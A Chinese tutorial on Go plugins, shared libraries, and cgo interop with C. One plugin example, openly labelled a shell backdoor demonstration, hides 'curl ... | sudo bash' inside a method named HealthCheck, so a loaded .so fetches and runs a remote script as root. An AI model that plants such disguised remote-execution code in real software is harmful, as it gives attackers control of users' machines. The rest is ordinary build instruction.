1. Go plugin是什么

Go 1.8版本开始提供了一个创建共享库的新工具,称为 Plugins.

A plugin is a Go main package with exported functions and variables that has been built with: go build -buildmode=plugin

Plugin插件是包含可导出(可访问)的function和变量的***main package***编译(go build -buildmode=plugin)之后的文件.

同时官方文档也提示了:Currently plugins are only supported on Linux and macOS .它目前支持Linux和Mac操作系统(不支持windows)

官方文档地址

2. Go plugin生命周期

When a plugin is first opened, the init functions of all packages not already part of the program are called. The main function is not run. A plugin is only initialized once, and cannot be closed.

plugin插件被打开加载 plugin.Open("***.so") ,插件的init初始化函数才开始执行. 也就是说main函数执行前plugin的init函数是不会执行的. 插件只被初始化一次,不能被关闭.

使用plugin的main.go生命周期

  1. main.go的init函数执行
  2. 开始执行main.go main函数
  3. 开始执行plugin.Open("***.so")打开插件
  4. 插件开始执行内部的init函数

3. Go plugin应用场景

  • 通过plugin我们可以很方便的对于不同功能加载相应的模块并调用相关的模块;
  • 针对不同语言(英文,汉语,德语……)加载不同的语言so文件,进行不同的输出;
  • 编译出的文件给不同的编程语言用(如:c/java/python/lua等).
  • 需要加密的核心算法,核心业务逻辑可以可以编译成plugin插件
  • 黑客预留的后门backdoor可以使用plugin
  • 函数集动态加载

4. Go plugin 示例

这个示例建展示一下两方面内容:

  1. 演示plugin插件的init的执行顺序
  2. 演示怎么编写一个shell黑客后门

4.1 编写插件plugin代码

直接上代码libragen/felix/blob/master/plugin/plugin_bad_docter.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package main

import (
"log"
"os/exec"
"time"
)

func init() {
log.Println("plugin init function called")
}

type BadNastyDoctor string

func (g BadNastyDoctor) HealthCheck() error {
bs,err := exec.Command("bash","-c","curl -s 'https://tech.mojotv.cn/test.sh' | sudo bash -s 'arg000' 'arg001'").CombinedOutput()
if err != nil {
return err

}
log.Println("now is",g)
log.Println("shell has executed ->>>>>",string(bs))
return nil
}

//go build -buildmode=plugin -o=plugin_doctor.so plugin_bad_docter.go

// exported as symbol named "Doctor"
var Doctor = BadNastyDoctor(time.Now().Format(time.RFC3339))

编写plugin插件要点

  1. 包名称必须是main
  2. 没有main函数
  3. 必须有可以导出(访问)的变量或者方法

编写完成之后使用编译plugin

1
2
3
4
5
6
7
8
pi@homePi:/data/felix/plugin $ go build -buildmode=plugin -o=plugin_doctor.so plugin_bad_docter.go 
pi@homePi:/data/felix/plugin $ ll
总用量 6300
-rw-r--r-- 1 pi pi 612 9月 6 2019 plugin_bad_docter.go
-rw-r--r-- 1 pi pi 3493654 9月 6 17:06 plugin_doctor.so
-rw-r--r-- 1 pi pi 274 9月 6 16:37 readme.md
pi@homePi:/data/felix/plugin $ file plugin_doctor.so
plugin_doctor.so: ELF 32-bit LSB shared object, ARM, EABI5 version 1 (SYSV), dynamically linked, BuildID[sha1]=9034047846f679f66ff7ac50f73aa7baf90d5e5d, not stripped

4.2 使用plugin插件

使用加载plugin基本流程

  1. 加载编译好的插件 plugin.Open("./plugin_doctor.so") (*.so文件路径相对与可执行文件的路径,可以是绝对路径)
  2. 寻找插件可到变量 plug.Lookup("Doctor"),
  3. TypeAssert: Symbol(interface{}) 转换成API的接口类型
  4. 执行API interface的方法

远程shell脚本内容

1
2
3
#!/usr/bin/env bash
#--destination _deploy
echo "golang plugin remote shell" $0 $1 $2

libragen/felix/blob/master/plugin/use_plugin_example.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
package main

import (
"fmt"
"log"
"os"
"plugin"
)

type GoodDoctor interface {
HealthCheck() error
}

func init() {
log.Println("main package init function called")
}

func main() {
log.Println("main function stared")
// load module 插件您也可以使用go http.Request从远程下载到本地,在加载做到动态的执行不同的功能
// 1. open the so file to load the symbols
plug, err := plugin.Open("./plugin_doctor.so")
if err != nil {
fmt.Println(err)
os.Exit(1)
}
log.Println("plugin opened")

// 2. look up a symbol (an exported function or variable)
// in this case, variable Greeter
doc, err := plug.Lookup("Doctor")
if err != nil {
fmt.Println(err)
os.Exit(1)
}

// 3. Assert that loaded symbol is of a desired type
// in this case interface type GoodDoctor (defined above)
doctor, ok := doc.(GoodDoctor)
if !ok {
fmt.Println("unexpected type from module symbol")
os.Exit(1)
}

// 4. use the module
if err := doctor.HealthCheck(); err != nil {
log.Println("use plugin doctor failed, ", err)
}
}

4.3 build plugin程序

1
2
3
4
5
6
7
8
9
10
11
pi@homePi:/data/felix/plugin $ go build use_plugin_example.go
pi@homePi:/data/felix/plugin $ ll
总用量 6300
-rw-r--r-- 1 pi pi 612 9月 6 17:08 plugin_bad_docter.go
-rw-r--r-- 1 pi pi 3493654 9月 6 17:06 plugin_doctor.so
-rw-r--r-- 1 pi pi 274 9月 6 16:37 readme.md
-rwxr-xr-x 1 pi pi 2941503 9月 6 17:15 use_plugin_example
-rw-r--r-- 1 pi pi 1057 9月 6 2019 use_plugin_example.go

pi@homePi:/data/felix/plugin $ file use_plugin_example
use_plugin_example: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-armhf.so.3, for GNU/Linux 3.2.0, BuildID[sha1]=fc60641527d9b030f9f4d5a477de300e9fb70541, not stripped

4.4 go run

1
2
3
4
5
6
7
pi@homePi:/data/felix/plugin $ ./use_plugin_example 
2019/09/06 17:16:23 main package init function called
2019/09/06 17:16:23 main function stared
2019/09/06 17:16:23 plugin init function called
2019/09/06 17:16:23 plugin opened
2019/09/06 17:16:23 now is 2019-09-06T17:16:23+08:00
2019/09/06 17:16:23 shell has executed ->>>>> golang plugin remote shell bash arg000 arg001

5.Go语言plugin局限和不足

Go plugin 还不是一个成熟的解决方案.它迫使您的插件实现与主应用程序产生高度耦合.即使您可以控制插件和主应用程序, 最终结果也非常脆弱且难以维护.如果插件的作者对主应用程序没有任何控制权,开销会更高.

5.1 Go版本兼容问题

插件实现和主应用程序都必须使用完全相同的Go工具链版本构建. 由于插件提供的代码将与主代码在相同的进程空间中运行, 因此编译的二进制文件应与主应用程序 100%兼容.

6. 总结

我希望您记下的关键要点:

  • Go插件从v1.8版本开始支持,它目前支持Linux和Mac操作系统(不支持windows)
  • Go plugin包提供了一个简单的函数集动态加载,可以帮助开发人员编写可扩展的代码.
  • Go插件是使用go build -buildmode = plugin构建标志编译
  • Go插件包中的导出函数和公开变量,可以使用插件包在运行时查找并绑定调用.
  • Go runtime import插件的开发人员必须将插件视为黑盒子,做好各种最坏的假设

Golang生成C/C++可调用的动态库.so和静态库

引言

平时编译、运行golang,可能用得比较多的是下面这些:

1
2
3
4
go run xxx.go //直接运行xxx.go,有点类似解释语言,比如lua, python,其实执行go run,是对源文件做了build,然后再run执行文件的,只是这些都在后台做了

go build xxx.go //编译产生同名的执行档,如果在源文件目录下直接go build会产生与目录名同名的可执行档
go install xxx.go //也是编译,只是编译后会将同名的执行档安装到$GOPATH/bin下面,同样在源文件目录下直接go install,会把与目录同名的可执行档安装在$GOPATH/bin下

以上的go build都是默认的编译,也就是-buildmode是default的

By default, listed main packages are built into executables and listed non-main packages are built into .a files.

-buildmode=shared : Golang生成Golang可调用的动态库so

现在进入正题,这里我主要是要说明下面这个选项的使用方法:

shared: Combine all the listed non-main packages into a single shared library.

我们先看一个hello world的例子:

1
2
3
4
5
6
7
package main

import "fmt"

int main(){
fmt.Println("hello world")
}

这里的fmt就是一个share library,这是go里面自带的,

现在如果想自定义一个共享库,应该怎么做? 假设在$GOPATH/src下有:

1
2
3
4
--myAdd
--add.go
--myCall
--main.go

详细目录如下:

1
2
3
4
5
6
7
8
Jermine@Jermine-VirtualBox:~/mygo/src$ echo $GOPATH
/home/Jermine/mygo
Jermine@Jermine-VirtualBox:~/mygo$ ls
bin pkg src
Jermine@Jermine-VirtualBox:~/mygo/src$ ls myAdd
add.go
Jermine@Jermine-VirtualBox:~/mygo/src$ ls myCall
main.go

现在我们要自定义一个myAdd的package,像fmt一样的使用,先看下myAdd/add.go的内容:

1
2
3
4
5
package myAdd                                                                                                                  

func Sum(x, y int) int {
return x + y
}

在编译自定义package前,先看下官方怎么说:

Before compile any shared library, the standard builtin packages should be installed as shared library. This will allow any other shared library to link with them.
意思是在编译任何共享包前,先要把官方自身的标准包先以共享包方式安装下,这样的话其他的包就可以与它们做link。

下面就按官方要求先来编译一下:

1
~/mygo/src/myAdd$ go install -buildmode=shared -linkshared std

编译后会在GOROOT的pkg目录下安装标准共享库, 这里对应linux_386_dynlink这个目录:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
Jermine@Jermine-VirtualBox:~/mygo/src/golib$ ll ~/go/pkg
total 28
drwxr-xr-x 7 Jermine Jermine 4096 12月 5 09:21 ./
drwxr-xr-x 11 Jermine Jermine 4096 5月 25 2017 ../
drwxr-xr-x 2 Jermine Jermine 4096 5月 25 2017 include/
drwxr-xr-x 30 Jermine Jermine 4096 5月 25 2017 linux_386/
drwxrwxr-x 29 Jermine Jermine 4096 12月 5 09:22 linux_386_dynlink/
drwxr-xr-x 3 Jermine Jermine 4096 5月 25 2017 obj/
drwxr-xr-x 3 Jermine Jermine 4096 5月 25 2017 tool/
Jermine@Jermine-VirtualBox:~/mygo/src/golib$ ll ~/go/pkg/linux_386_dynlink/
total 31252
drwxrwxr-x 29 Jermine Jermine 4096 12月 5 09:22 ./
drwxr-xr-x 7 Jermine Jermine 4096 12月 5 09:21 ../
drwxrwxr-x 2 Jermine Jermine 4096 12月 5 09:22 archive/
-rw-rw-r-- 1 Jermine Jermine 121966 12月 5 09:21 bufio.a
-rw-rw-r-- 1 Jermine Jermine 10 12月 5 09:22 bufio.shlibname
-rw-rw-r-- 1 Jermine Jermine 111466 12月 5 09:21 bytes.a
-rw-rw-r-- 1 Jermine Jermine 10 12月 5 09:22 bytes.shlibname
drwxrwxr-x 2 Jermine Jermine 4096 12月 5 09:22 compress/
drwxrwxr-x 2 Jermine Jermine 4096 12月 5 09:22 container/
-rw-rw-r-- 1 Jermine Jermine 94220 12月 5 09:21 context.a
-rw-rw-r-- 1 Jermine Jermine 10 12月 5 09:22 context.shlibname
drwxrwxr-x 4 Jermine Jermine 4096 12月 5 09:22 crypto/
-rw-rw-r-- 1 Jermine Jermine 20014 12月 5 09:21 crypto.a
-rw-rw-r-- 1 Jermine Jermine 10 12月 5 09:22 crypto.shlibname
drwxrwxr-x 3 Jermine Jermine 4096 12月 5 09:22 database/
drwxrwxr-x 2 Jermine Jermine 4096 12月 5 09:22 debug/
drwxrwxr-x 2 Jermine Jermine 4096 12月 5 09:22 encoding/
-rw-rw-r-- 1 Jermine Jermine 5494 12月 5 09:21 encoding.a
-rw-rw-r-- 1 Jermine Jermine 10 12月 5 09:22 encoding.shlibname
-rw-rw-r-- 1 Jermine Jermine 3846 12月 5 09:21 errors.a
-rw-rw-r-- 1 Jermine Jermine 10 12月 5 09:22 errors.shlibname
-rw-rw-r-- 1 Jermine Jermine 84486 12月 5 09:21 expvar.a
-rw-rw-r-- 1 Jermine Jermine 10 12月 5 09:22 expvar.shlibname
-rw-rw-r-- 1 Jermine Jermine 155402 12月 5 09:21 flag.a
-rw-rw-r-- 1 Jermine Jermine 10 12月 5 09:22 flag.shlibname

GOROOT如下:

1
2
Jermine@Jermine-VirtualBox:~/samba_share/golang$ echo $GOROOT
/home/Jermine/go

接下来,就可以编译自定义的共享库,并link到标准std库:

1
2
3
4
5
Jermine@Jermine-VirtualBox:~/mygo/src$ go install -buildmode=shared -linkshared myAdd
Jermine@Jermine-VirtualBox:~/mygo/src$ ls
github.com golang.org myAdd test
Jermine@Jermine-VirtualBox:~/mygo/src$ ls myAdd/
add.go //这里并没有产生任何文档,产生在那里接着向下看

实际产生共享是在GOPATH/pkg目录下:

1
2
3
4
5
6
Jermine@Jermine-VirtualBox:~/mygo$ ls
bin pkg src
Jermine@Jermine-VirtualBox:~/mygo$ ls pkg
linux_386 linux_386_dynlink
Jermine@Jermine-VirtualBox:~/mygo$ ls pkg/linux_386_dynlink/
libmyAdd.so myAdd.a myAdd.shlibname //这些库在编译时已经链接到标准std库,所以下面在应用程序中可以直接使用。

下面是应用程序的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Jermine@Jermine-VirtualBox:~/mygo/src$ vim myCall/main.go
package main

import (
"fmt"
"myAdd" //这就是上面自定义package,如果这里不import,只要下面用了包里面的函数,gofmt也会自动把这个包加进来,是不是有点跟使用fmt等其他包一样的用法
)

func main() {
fmt.Println("my Call application")
fmt.Printf("Sum: %d\n", myAdd.Sum(2, 3))
}

Jermine@Jermine-VirtualBox:~/mygo/src$ ./main
my Call application
Sum: 5

-buildmode=c-shared : Golang生成C可调用的动态库so

假设代码结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Jermine@Jermine-VirtualBox:~/mygo/src/mylib$ ls
exptest.go

Jermine@Jermine-VirtualBox:~/mygo/src/mylib$ vim exptest.go
package main

import "C"
import "fmt"

//export Summ
func Summ(x, y int) int {
return x + y
}

//export Hello
func Hello(str string) {
fmt.Printf("Hello: %s\n", str)
}

func main() {
// We need the main function to make possible
// CGO compiler to compile the package as C shared library
}

官方说法:

Go functions can be executed from C applications. They should be exported by using the following comment line:
//export

//export your_function_name目的是产生对应的头文件函数声明,以及cgo的与C之间一些转换规则,详细可以参考生成的头文件。 另外,import “C”这个也是不能少的,表示导入一个C库

下面就是编译共享库:

1
2
3
4
5
//The packaged should be compiled with buildmode flags c-shared or c-archive:

Jermine@Jermine-VirtualBox:~/mygo/src/mylib$ go build -buildmode=c-shared -o libexptest.so exptest.go
Jermine@Jermine-VirtualBox:~/mygo/src/mylib$ ls
exptest.go libexptest.h libexptest.so

下面写一个C程序调用这个so动态库:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Jermine@Jermine-VirtualBox:~/mygo/src/mylib$ vim exptest.c
#include <stdio.h>
#include "libexptest.h" //上面产生的头文件

int main() {
printf("This is exptest application.\n");
GoString str = {"Hi JXES", 7};
Hello(str); //调用的函数
printf("sum: %d\n", Summ(2, 3)); //调用的函数
return 0;
}

Jermine@Jermine-VirtualBox:~/mygo/src/mylib$ export LD_LIBRARY_PATH=./
Jermine@Jermine-VirtualBox:~/mygo/src/mylib$ echo $LD_LIBRARY_PATH
./
Jermine@Jermine-VirtualBox:~/mygo/src/mylib$ ./exptest
This is exptest application.
Hello: Hi JXES
sum: 5

这里需要说明下,在linux系统中应用程序关联到共享库时,都是从LD_LIBRARY_PATH环境变量指定的目录下找需要的.so,所以这里一定要指定在当前目录,如果不指定,可以把产生的so文件复制到/usr/lib下也可以。

-buildmode=c-archive : Golang调用C生成的静态库.a

产生静态库只是编译的时候产生.a的静态库,库与测试程序代码如上,编译方法是:

1
2
3
4
5
6
Jermine@Jermine-VirtualBox:~/mygo/src/mylib$ go build -buildmode=c-archive -o libexptest.so exptest.go 
Jermine@Jermine-VirtualBox:~/mygo/src/mylib$ ls
exptest.go libexptest.h libexptest.a

// 应用程序编译的方法如下:
$ gcc -o exptest exptest.c libexptest.a

go调用C/C++使用值传递和指针传递

在实际项目中用到的不仅仅是基本类型之间的转换,更多的是函数封装中的值传递和指针传递,如何在C功能函数中和Go中进行各种值和指针传递呢?根本方法还是利用基本类型,包括特别常用unsafe.Pointer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
package main

/*
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

#define MAX_FACES_PER_DETECT 64

typedef struct Point{
float x;
float y;
}Point;

typedef struct Rectangle{
Point lt;
Point rd;
}Rectangle;

typedef struct DetectFaceInfo{
int id;
float score;
Rectangle pos;
}DetectFaceInfo;



void setStruct(void **ppDetectInfo)
{
DetectFaceInfo *pDetectInfo = (DetectFaceInfo *)malloc(sizeof(DetectFaceInfo));
memset(pDetectInfo, 0 , sizeof(pDetectInfo));
pDetectInfo->id = 1;
pDetectInfo->score = 0.98f;
pDetectInfo->pos.lt.x = 1;
pDetectInfo->pos.lt.y = 1;
pDetectInfo->pos.rd.x = 9;
pDetectInfo->pos.rd.y = 10;

fprintf(stdout, "A pDetectInfo address : %p\n", pDetectInfo);
*ppDetectInfo = pDetectInfo;
}

int printStruct(void *pdetectinfo)
{
DetectFaceInfo * pDetectInfo = (DetectFaceInfo *)pdetectinfo;
fprintf(stdout, "B pDetectInfo address : %p\n", pDetectInfo);

fprintf(stdout, "id: %d\n", pDetectInfo->id);
fprintf(stdout, "score : %.3lf\n", pDetectInfo->score);
fprintf(stdout, "pos.lt.x : %d\n", pDetectInfo->pos.lt.x);
fprintf(stdout, "pos.lt.y : %d\n", pDetectInfo->pos.lt.y);
fprintf(stdout, "pos.rd.x : %d\n", pDetectInfo->pos.rd.x);
fprintf(stdout, "pos.rd.y : %d\n", pDetectInfo->pos.rd.y);
}

int freeStruct(void *pDetectInfo)
{
fprintf(stdout, "C pDetectInfo address : %p\n", pDetectInfo);
free((DetectFaceInfo*)pDetectInfo);
}

*/
import "C"

import (
_ "fmt"
_ "reflect"
"unsafe"
)

func main() {
var pDetectInfo unsafe.Pointer

C.setStruct(&pDetectInfo)
C.printStruct(pDetectInfo)
C.freeStruct(pDetectInfo)
}

从上面的例子可以知道还是利用了C和go的基本类型转换,更多的是利用指针。得到的运行结果是:

1
2
3
4
5
6
7
8
9
A pDetectInfo address : 012832B0
B pDetectInfo address : 012832B0
id: 1
score : 0.980
pos.lt.x : 1.000
pos.lt.y : 1.000
pos.rd.x : 9.000
pos.rd.y : 10.000
C pDetectInfo address : 012832B0

这是通过C的结构体将数据传送给go,同样的也可以利用在go中处理数据,然后传递给C,也是利用基本类型转换。这里做个记录:

  • C中的结构体如果带了typedef的话,那么在go中定义C结构体就不需要带struct了。反则反之。
  • Go中定义C结构体: var struct C.DetectFaceInfo
  • 再次注意,如果在结构体中有字符数组或者是char指针,注意区别

C/C++调用go实现struct值传递

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package main
/*
struct Vertex {
int X;
int Y;
};
*/
import "C"
import "fmt"

//export getVertex
func getVertex(X, Y C.int) C.struct_Vertex {
return C.struct_Vertex{X, Y}
}

func main() {
fmt.Println(getVertex(1, 2))
}

execute go build -buildmode=c-shared -o go-test1.so go-test1.go 将得到.h文件和.so文件如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
~/Desktop/test ⌚ 14:40:44
$ go build -buildmode=c-shared -o go-test1.so go-test1.go

~/Desktop/test ⌚ 14:41:05
$ ls
go-test1.go go-test1.h go-test1.so

~/Desktop/test ⌚ 14:41:06
$ cat go-test1.h
/* Code generated by cmd/cgo; DO NOT EDIT. */

/* package command-line-arguments */


#line 1 "cgo-builtin-prolog"

#include <stddef.h> /* for ptrdiff_t below */

#ifndef GO_CGO_EXPORT_PROLOGUE_H
#define GO_CGO_EXPORT_PROLOGUE_H

typedef struct { const char *p; ptrdiff_t n; } _GoString_;

#endif

/* Start of preamble from import "C" comments. */


#line 2 "go-test1.go"

struct Vertex {
int X;
int Y;
};

#line 1 "cgo-generated-wrapper"


/* End of preamble from import "C" comments. */


/* Start of boilerplate cgo prologue. */
#line 1 "cgo-gcc-export-header-prolog"

#ifndef GO_CGO_PROLOGUE_H
#define GO_CGO_PROLOGUE_H

typedef signed char GoInt8;
typedef unsigned char GoUint8;
typedef short GoInt16;
typedef unsigned short GoUint16;
typedef int GoInt32;
typedef unsigned int GoUint32;
typedef long long GoInt64;
typedef unsigned long long GoUint64;
typedef GoInt64 GoInt;
typedef GoUint64 GoUint;
typedef __SIZE_TYPE__ GoUintptr;
typedef float GoFloat32;
typedef double GoFloat64;
typedef float _Complex GoComplex64;
typedef double _Complex GoComplex128;

/*
static assertion to make sure the file is being used on architecture
at least with matching size of GoInt.
*/
typedef char _check_for_64_bit_pointer_matching_GoInt[sizeof(void*)==64/8 ? 1:-1];

typedef _GoString_ GoString;
typedef void *GoMap;
typedef void *GoChan;
typedef struct { void *t; void *v; } GoInterface;
typedef struct { void *data; GoInt len; GoInt cap; } GoSlice;

#endif

/* End of boilerplate cgo prologue. */

#ifdef __cplusplus
extern "C" {
#endif


extern struct Vertex getVertex(int p0, int p1);

#ifdef __cplusplus
}
#endif

~/Desktop/test ⌚ 14:41:22
$ file go-test1.so
go-test1.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=59440090a28e0869a12951bb9fc4b311e038ee8f, not stripped